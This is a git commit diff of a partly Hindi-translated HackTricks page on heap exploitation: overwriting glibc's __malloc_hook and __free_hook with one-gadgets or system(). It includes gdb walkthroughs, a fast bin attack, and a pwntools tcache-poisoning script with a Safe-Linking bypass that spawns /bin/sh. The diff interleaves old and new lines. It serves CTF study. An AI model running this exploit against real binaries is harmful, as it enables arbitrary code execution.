Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma

This commit is contained in:
Translator 2025-08-13 18:15:35 +00:00
parent 4937c5673f
commit d6bf2f92f1

View File

@ -1,12 +1,12 @@
# WWW2Exec - \_\_malloc_hook & \_\_free_hook # WWW2Exec - __malloc_hook & __free_hook
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## **Malloc Hook** ## **Malloc Hook**
जैसा कि आप [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) पर देख सकते हैं, **`__malloc_hook`** एक पॉइंटर है जो **एक फ़ंक्शन के पते की ओर इशारा करता है जिसे `malloc()` के कॉल होने पर कॉल किया जाएगा** **libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत**। इसलिए, यदि इस पते को एक **One Gadget** से ओवरराइट किया जाता है और `malloc` को कॉल किया जाता है, तो **One Gadget को कॉल किया जाएगा** जैसा कि आप [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) पर देख सकते हैं, **`__malloc_hook`** एक पॉइंटर है जो **एक फ़ंक्शन के पते की ओर इशारा करता है जिसे तब कॉल किया जाएगा** जब भी `malloc()` को कॉल किया जाता है **जो libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत होता है**। इसलिए, यदि इस पते को एक **One Gadget** से ओवरराइट किया जाता है और `malloc` को कॉल किया जाता है, तो **One Gadget को कॉल किया जाएगा**
`malloc` को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतजार करना या **`printf("%10000$c")`** को कॉल करना संभव है, जो बहुत सारे बाइट्स आवंटित करता है जिससे `libc` को उन्हें हीप में आवंटित करने के लिए `malloc` कॉल करना पड़ता है। `malloc` को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतजार करना संभव है या **`printf("%10000$c")`** को कॉल करके, जो बहुत सारे बाइट्स आवंटित करता है जिससे `libc` `malloc` को उन्हें हीप में आवंटित करने के लिए कॉल करता है।
One Gadget के बारे में अधिक जानकारी के लिए: One Gadget के बारे में अधिक जानकारी के लिए:
@ -19,7 +19,7 @@ One Gadget के बारे में अधिक जानकारी क
## Free Hook ## Free Hook
इसका दुरुपयोग एक तेज़ बिन हमले के उदाहरण में किया गया था, जिसके बाद एक अनसॉर्टेड बिन हमले का दुरुपयोग किया गया था: इसका दुरुपयोग एक उदाहरण में किया गया था जो एक तेज़ बिन हमले का दुरुपयोग करने के बाद एक अनसॉर्टेड बिन हमले का दुरुपयोग करता है:
{{#ref}} {{#ref}}
../libc-heap/unsorted-bin-attack.md ../libc-heap/unsorted-bin-attack.md
@ -29,7 +29,7 @@ One Gadget के बारे में अधिक जानकारी क
```bash ```bash
gef➤ p &__free_hook gef➤ p &__free_hook
``` ```
[इस पोस्ट में](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) आप बिना प्रतीकों के फ्री हुक का पता लगाने के लिए चरण-दर-चरण गाइड पा सकते हैं। संक्षेप में, फ्री फ़ंक्शन में: [पोस्ट में](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) आप बिना प्रतीकों के फ्री हुक का पता लगाने के लिए चरण-दर-चरण गाइड पा सकते हैं। संक्षेप में, फ्री फ़ंक्शन में:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free <pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 <free>: push ebx 0xf75dedc0 <free>: push ebx
@ -38,16 +38,16 @@ gef➤ p &__free_hook
0xf75dedcc <free+12>: sub esp,0x8 0xf75dedcc <free+12>: sub esp,0x8
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98] 0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10] 0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
<strong>0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- यहाँ ब्रेक करें <strong>0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- BREAK HERE
</strong>0xf75deddb <free+27>: test eax,eax ;< </strong>0xf75deddb <free+27>: test eax,eax ;<
0xf75deddd <free+29>: jne 0xf75dee50 <free+144> 0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
</code></pre> </code></pre>
पिछले कोड में उल्लिखित ब्रेक में `$eax` में फ्री हुक का पता स्थित होगा। उपरोक्त कोड में उल्लिखित ब्रेक में `$eax` में फ्री हुक का पता स्थित होगा।
अब एक **फास्ट बिन अटैक** किया जाता है: अब एक **फास्ट बिन अटैक** किया जाता है:
- सबसे पहले यह पता लगाया जाता है कि **`__free_hook`** स्थान पर **200** आकार के फास्ट **चंक्स** के साथ काम करना संभव है: - सबसे पहले यह पता लगाया गया है कि **`__free_hook`** स्थान पर **200** आकार के फास्ट **चंक्स** के साथ काम करना संभव है:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook - <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
@ -56,15 +56,80 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre> </code></pre>
- यदि हम इस स्थान पर 0x200 आकार का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित होगा। - यदि हम इस स्थान पर 0x200 आकार का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित किया जाएगा।
- इसके लिए, `0xfc` आकार का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ दो बार मर्ज की गई फ़ंक्शन को कॉल किया जाता है, इस तरह हम फास्ट बिन में `0xfc*2 = 0x1f8` आकार के एक फ्री किए गए चंक का पॉइंटर प्राप्त करते हैं। - इसके लिए, `0xfc` आकार का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ मर्ज की गई फ़ंक्शन को दो बार कॉल किया जाता है, इस तरह हम फास्ट बिन में `0xfc*2 = 0x1f8` आकार के एक मुक्त चंक का पॉइंटर प्राप्त करते हैं।
- फिर, इस चंक में संपादित फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इंगित किया जा सके। - फिर, इस चंक में संपादित फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इंगित किया जा सके।
- फिर, `0x1f8` आकार का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि **`__free_hook`** में एक फास्ट बिन चंक प्राप्त करने के लिए `0x1f8` आकार का एक और चंक बनाया जा सके, जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया जाता है। - फिर, `0x1f8` आकार का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि **`__free_hook`** में एक फास्ट बिन चंक प्राप्त करने के लिए `0x1f8` आकार का एक और चंक बनाया जा सके, जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया जाता है।
- और अंत में, `/bin/sh\x00` स्ट्रिंग वाला एक चंक डिलीट फ़ंक्शन को कॉल करके फ्री किया जाता है, जो **`__free_hook`** फ़ंक्शन को ट्रिगर करता है जो सिस्टम को `/bin/sh\x00` को पैरामीटर के रूप में इंगित करता है। - और अंत में, `/bin/sh\x00` स्ट्रिंग वाला एक चंक मुक्त किया जाता है, डिलीट फ़ंक्शन को कॉल करके, **`__free_hook`** फ़ंक्शन को ट्रिगर करता है जो सिस्टम को `/bin/sh\x00` को पैरामीटर के रूप में इंगित करता है।
## संदर्भ ---
## Tcache poisoning & Safe-Linking (glibc 2.32 2.33)
glibc 2.32 ने **Safe-Linking** पेश किया - एक अखंडता-चेक जो **tcache** और फास्ट-बिन द्वारा उपयोग किए जाने वाले *सिंगल*-लिंक्ड सूचियों की सुरक्षा करता है। कच्चे फॉरवर्ड पॉइंटर (`fd`) को स्टोर करने के बजाय, ptmalloc अब इसे निम्नलिखित मैक्रो के साथ *अज्ञात* रूप में स्टोर करता है:
```c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
```
शोषण के परिणाम:
1. एक **heap leak** अनिवार्य है - हमलावर को एक मान्य अस्पष्ट पॉइंटर बनाने के लिए `chunk_addr >> 12` का रनटाइम मान जानना चाहिए।
2. केवल *पूर्ण* 8-बाइट पॉइंटर को ही बनाया जा सकता है; एकल-बाइट आंशिक ओवरराइट चेक पास नहीं करेगा।
इसलिए, glibc 2.32/2.33 पर `__free_hook` को ओवरराइट करने के लिए एक न्यूनतम tcache-poisoning प्राइमिटिव इस प्रकार दिखता है:
```py
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
```
The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 «Rusty Pointers»* and *openECSC 2023 «Babyheap G»*, both of which relied on Safe-Linking bypasses to overwrite `__free_hook`.
---
## What changed in glibc ≥ 2.34?
Starting with **glibc 2.34 (August 2021)** the allocation hooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` and `__free_hook` were **public API से हटा दिए गए हैं और अब आवंटक द्वारा नहीं बुलाए जाते**। संगतता प्रतीक अभी भी विरासती बाइनरी के लिए निर्यात किए जाते हैं, लेकिन उन्हें ओवरराइट करना अब `malloc()` या `free()` के नियंत्रण प्रवाह को प्रभावित नहीं करता है।
व्यावहारिक प्रभाव: आधुनिक वितरणों (Ubuntu 22.04+, Fedora 35+, Debian 12, आदि) पर आपको *अन्य* हाईजैक प्राइमिटिव (IO-FILE, `__run_exit_handlers`, vtable spraying, आदि) पर स्विच करना होगा क्योंकि हुक ओवरराइट चुपचाप विफल हो जाएंगे।
यदि आपको अभी भी डिबगिंग के लिए पुरानी कार्यप्रणाली की आवश्यकता है, तो glibc `libc_malloc_debug.so` प्रदान करता है जिसे पूर्व-लोड किया जा सकता है ताकि विरासती हुक फिर से सक्षम हो सकें - लेकिन यह पुस्तकालय **उत्पादन के लिए नहीं है और भविष्य के रिलीज़ में गायब हो सकता है**
---
## References
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
- Safe-Linking Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020)
- glibc 2.34 release notes removal of malloc hooks
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}